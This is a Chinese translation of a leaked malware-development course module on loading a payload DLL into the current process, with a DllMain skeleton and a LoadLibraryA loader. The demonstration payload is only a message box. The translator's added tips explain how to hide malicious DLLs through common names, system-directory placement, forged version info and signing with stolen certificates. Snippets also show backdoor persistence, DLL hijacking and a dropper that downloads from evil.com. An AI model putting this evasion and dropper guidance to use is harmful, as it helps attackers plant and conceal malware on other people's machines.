模块 26 - 本地 Payload 执行 - DLL
恶意软件开发课程 - 本地 Payload 执行 - DLL
模块 26 - 本地 Payload 执行 - DLL#
[!IMPORTANT] 本知识库声明
本知识库由本人整理自互联网 MalDev Academy 泄露资源,并由本人手动翻译为中文,过程中增加了大量关键技术提示与实践心得。
- 内容完整性:并未修改任何核心代码与技术逻辑,仅做汉化与注释加强。
- 版权归属:原始知识产权归原作者/官方所有。
- 支持正版:本仓库仅供内部学习交流,如果您有经济能力,请务必支持正版课程。
- 权利申诉:如相关内容侵犯了您的权益,请联系我,我将立即核实并删除。
本地 Payload 执行 - DLL#
简介#
本模块探讨如何将动态链接库(Dynamic Link Libraries, DLLs)用作 Payload,并演示如何在当前进程中加载恶意 DLL 文件。
💡 初学者提示:什么是本地 Payload 执行?
本地执行 vs 远程执行:
- 本地执行: 在当前进程中执行 Payload
- 你的程序加载并运行 Payload
- Payload 与你的程序在同一个内存空间
- 就像在自己家里执行任务
- 远程执行: 在其他进程中执行 Payload(后续模块)
- 注入到其他正在运行的进程(如 explorer.exe)
- Payload 在目标进程的内存空间运行
- 就像偷偷溜进邻居家执行任务
为什么先学本地执行? 本地执行更简单,是理解远程注入的基础!
创建 DLL#
创建 DLL 很简单,可以使用 Visual Studio 完成。创建一个新项目,将编程语言设置为 C++,最后选择 Dynamic-Link Library (DLL)。这将创建一个 DLL 骨架代码,我们将在本模块的其余部分中对其进行修改。如需复习 DLL 的工作原理,请随时查看之前的 DLL 入门模块。

📚 知识扩展:Visual Studio DLL 项目设置
创建 DLL 项目后,Visual Studio 会自动生成:
- dllmain.cpp: DLL 的入口点文件
- DllMain 函数: DLL 被加载时自动调用
- framework.h: 预编译头文件
- pch.cpp/pch.h: 预编译头相关文件
重要设置:
- 项目属性 → C/C++ → Precompiled Headers → 设置为 “Not Using Precompiled Headers”
- 这样可以避免
#include "pch.h"的要求- 代码更简洁,更容易移植
DLL 设置#
本演示将使用一个消息框,当 DLL 成功加载时会显示该消息框。可以使用 MessageBox ↗ WinAPI 轻松创建消息框。下面的代码片段将在 DLL 加载到进程中时运行 MsgBoxPayload。请注意,预编译头已从项目的 C/C++ 设置中删除,如 动态链接库 入门模块中所示。
#include <Windows.h>
#include <stdio.h>
// Payload 函数:显示消息框
VOID MsgBoxPayload() {
// 第一个参数: NULL = 没有父窗口
// 第二个参数: 消息框内容
// 第三个参数: 消息框标题
// 第四个参数: 按钮和图标样式
MessageBoxA(NULL, "Hacking With MaldevAcademy", "Wow !", MB_OK | MB_ICONINFORMATION);
}
// DLL 入口点函数
// 当 DLL 被加载或卸载时,Windows 会自动调用这个函数
BOOL APIENTRY DllMain (HMODULE hModule, DWORD dwReason, LPVOID lpReserved){
// 根据不同的调用原因执行不同的操作
switch (dwReason){
case DLL_PROCESS_ATTACH: {
// 当 DLL 被加载到进程时执行
MsgBoxPayload();
break;
};
case DLL_THREAD_ATTACH:
// 当新线程创建时(通常不处理)
break;
case DLL_THREAD_DETACH:
// 当线程退出时(通常不处理)
break;
case DLL_PROCESS_DETACH:
// 当 DLL 从进程卸载时(可用于清理)
break;
}
return TRUE; // 返回 TRUE 表示 DLL 初始化成功
}c💡 初学者提示:DllMain 函数详解
DllMain是 DLL 的”心脏”,Windows 在特定时机会调用它:
调用时机 dwReason 值 用途 DLL 加载时 DLL_PROCESS_ATTACH 🎯 最常用! 执行初始化代码 DLL 卸载时 DLL_PROCESS_DETACH 清理资源 新线程创建 DLL_THREAD_ATTACH 线程特定初始化(少用) 线程结束 DLL_THREAD_DETACH 线程清理(少用) 实战中:
- 恶意代码通常放在
DLL_PROCESS_ATTACH中- 一旦 DLL 被加载,代码立即执行
- 可以在这里启动线程运行持久化代码
📚 知识扩展:MessageBox 参数详解
MessageBoxA函数签名:cint MessageBoxA( HWND hWnd, // 父窗口句柄(NULL = 无父窗口) LPCSTR lpText, // 消息内容 LPCSTR lpCaption, // 标题 UINT uType // 样式标志 );常用样式组合:
MB_OK: 只有 OK 按钮MB_ICONINFORMATION: 信息图标 (ℹ️)MB_ICONWARNING: 警告图标 (⚠️)MB_ICONERROR: 错误图标 (❌)MB_OKCANCEL: OK 和 Cancel 按钮为什么用 MessageBox 测试?
- 简单直观,容易验证代码是否执行
- 实战中会替换为真正的 Payload(shellcode、后门等)
本地注入#
回顾一下,LoadLibrary WinAPI 用于加载 DLL。该函数接收磁盘上的 DLL 路径,并将其加载到调用进程的地址空间中,在我们的例子中,调用进程就是当前进程。加载 DLL 将运行其入口点,从而运行 MsgBoxPayload 函数,使消息框出现。虽然概念很简单,但这对于理解后续模块中更复杂的技术非常有用。
下面的代码将把 DLL 的名称作为命令行参数,使用 LoadLibraryA 加载它,并执行一些错误检查以确保 DLL 成功加载。
#include <Windows.h>
#include <stdio.h>
int main(int argc, char* argv[]) {
// 检查是否提供了命令行参数
if (argc < 2){
printf("[!] Missing Argument; Dll Payload To Run \n");
return -1;
}
// 显示即将注入的 DLL 信息
printf("[i] Injecting \"%s\" To The Local Process Of Pid: %d \n", argv[1], GetCurrentProcessId());
printf("[+] Loading Dll... ");
// 使用 LoadLibraryA 加载 DLL
// 参数是 DLL 的完整路径或文件名(如果在系统路径中)
if (LoadLibraryA(argv[1]) == NULL) {
printf("[!] LoadLibraryA Failed With Error : %d \n", GetLastError());
return -1;
}
printf("[+] DONE ! \n");
// 等待用户按 Enter,防止程序立即退出
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
c💡 初学者提示:代码工作流程
程序执行步骤:
plaintext1. 检查参数 └─→ 用户是否提供了 DLL 路径? 2. 加载 DLL └─→ LoadLibraryA(dll_path) ├─ Windows 找到 DLL 文件 ├─ 映射到当前进程内存 ├─ 调用 DLL 的 DllMain └─ dwReason = DLL_PROCESS_ATTACH └─→ 执行 MsgBoxPayload() └─→ 消息框弹出! 🎉 3. 等待用户 └─→ 保持进程运行,否则 DLL 会被卸载
📚 知识扩展:LoadLibrary 函数族
Windows 提供了几个加载 DLL 的函数:
函数 字符集 参数 用途 LoadLibraryAANSI char* 普通字符串路径 LoadLibraryWUnicode wchar_t* 宽字符串路径 LoadLibrary自动 TCHAR* 根据项目设置自动选择 LoadLibraryExAANSI +flags 带额外标志(如只加载资源) 加载方式:
- 绝对路径:
C:\\Temp\\malicious.dll- 相对路径:
..\\payloads\\mal.dll- 文件名:
evil.dll(会在系统 DLL 搜索路径中查找)DLL 搜索顺序(安全重要!):
- 应用程序所在目录
- 系统目录 (C:\Windows\System32)
- 16位系统目录
- Windows 目录
- 当前目录
- PATH 环境变量中的目录
💡 DLL 劫持利用: 可以在应用程序目录放置同名 DLL 进行劫持!
输出#
正如预期的那样,注入 DLL 后消息框成功显示。

进程分析#
为了进一步验证 DLL 已加载到进程中,可以运行 Process Hacker,双击加载了 DLL 的进程并前往”Modules”(模块)选项卡。DLL 的名称应该出现在模块列表中。点击 DLL 名称将检索有关它的其他信息,例如导入表、是否已签名以及节名称。

📚 知识扩展:使用 Process Hacker 分析
Process Hacker 是强大的进程分析工具,在”Modules”标签可以看到:
- 模块列表: 进程加载的所有 DLL
- 名称、路径、基地址、大小
- 验证签名: 查看 DLL 是否有数字签名
- ✅ Verified: Microsoft 或其他受信任的签名
- ❌ No signature: 未签名(可疑!)
- 内存布局:
- Base Address: DLL 在内存中的起始地址
- Size: DLL 占用的内存大小
- 节信息:
- .text: 代码节
- .data: 数据节
- .rdata: 只读数据
实战分析:
plaintext正常进程加载的 DLL: ├─ kernel32.dll ✅ Microsoft ├─ ntdll.dll ✅ Microsoft ├─ user32.dll ✅ Microsoft └─ malicious.dll ❌ No signature ← 可疑!
💡 实战技巧:隐藏恶意 DLL
为了降低被发现的概率:
使用常见的 DLL 名称:
c// 糟糕的名字(一眼就看出来) evil_backdoor.dll // 好的名字(看起来正常) msvcr120.dll helper.dll放在系统目录:
- C:\Windows\System32\
- C:\Program Files\Common Files\
伪造签名信息:
- 添加版本信息资源
- 伪造公司名称、产品名称等
代码签名(高级):
- 使用偷来的或自签的证书
- 使某些安全软件信任你的 DLL
🎯 总结#
在本模块中,我们学习了:
- DLL 创建: 使用 Visual Studio 创建 DLL 项目
- DllMain 入口点: DLL 被加载时的执行流程
- 本地加载: 使用
LoadLibraryA在当前进程加载 DLL - 进程分析: 使用 Process Hacker 验证 DLL 加载
💡 关键要点
- DLL 加载后会自动调用
DllMain函数DLL_PROCESS_ATTACH是放置恶意代码的最佳位置LoadLibrary函数可以加载任意路径的 DLL- Process Hacker 可以查看进程加载的所有模块
🎯 本地 vs 远程 DLL 注入对比
| 特性 | 本地注入 | 远程注入(后续) |
|---|---|---|
| 目标进程 | 当前进程 | 其他进程 |
| 难度 | ⭐ 简单 | ⭐⭐⭐ 复杂 |
| 隐蔽性 | ⭐⭐ 低 | ⭐⭐⭐⭐ 高 |
| 权限要求 | 无特殊要求 | 可能需要提权 |
| API 使用 | LoadLibrary | CreateRemoteThread + WriteProcessMemory |
| 用途 | 测试、学习 | 实战攻击 |
📚 实战应用场景
本地 DLL 加载的实际用途:
-
插件系统:
c// 主程序动态加载功能模块 LoadLibrary("encryption_plugin.dll"); LoadLibrary("network_plugin.dll"); -
后门持久化:
c// 主程序定期检查并加载后门 DLL if (file_exists("update.dll")) { LoadLibrary("update.dll"); // 实际是后门 } -
分阶段加载:
c// Stage 1: 小型 dropper // 下载 Stage 2 DLL download("http://evil.com/payload.dll", "temp.dll"); // 加载执行 LoadLibrary("temp.dll"); -
DLL 劫持:
c// 合法程序尝试加载系统 DLL LoadLibrary("version.dll"); // 但攻击者在程序目录放了恶意 version.dll // 结果加载了恶意 DLL!
📚 下一步学习
本模块介绍了DLL 加载的基础。接下来你将学习:
- Module 27: 本地 Shellcode 执行(更灵活的 Payload 格式)
- Module 28: DLL 远程注入(注入到其他进程)
- Module 29: Shellcode 远程注入(组合两种技术)
这些技术将构建在本模块的基础之上,逐步提高复杂度和隐蔽性!🚀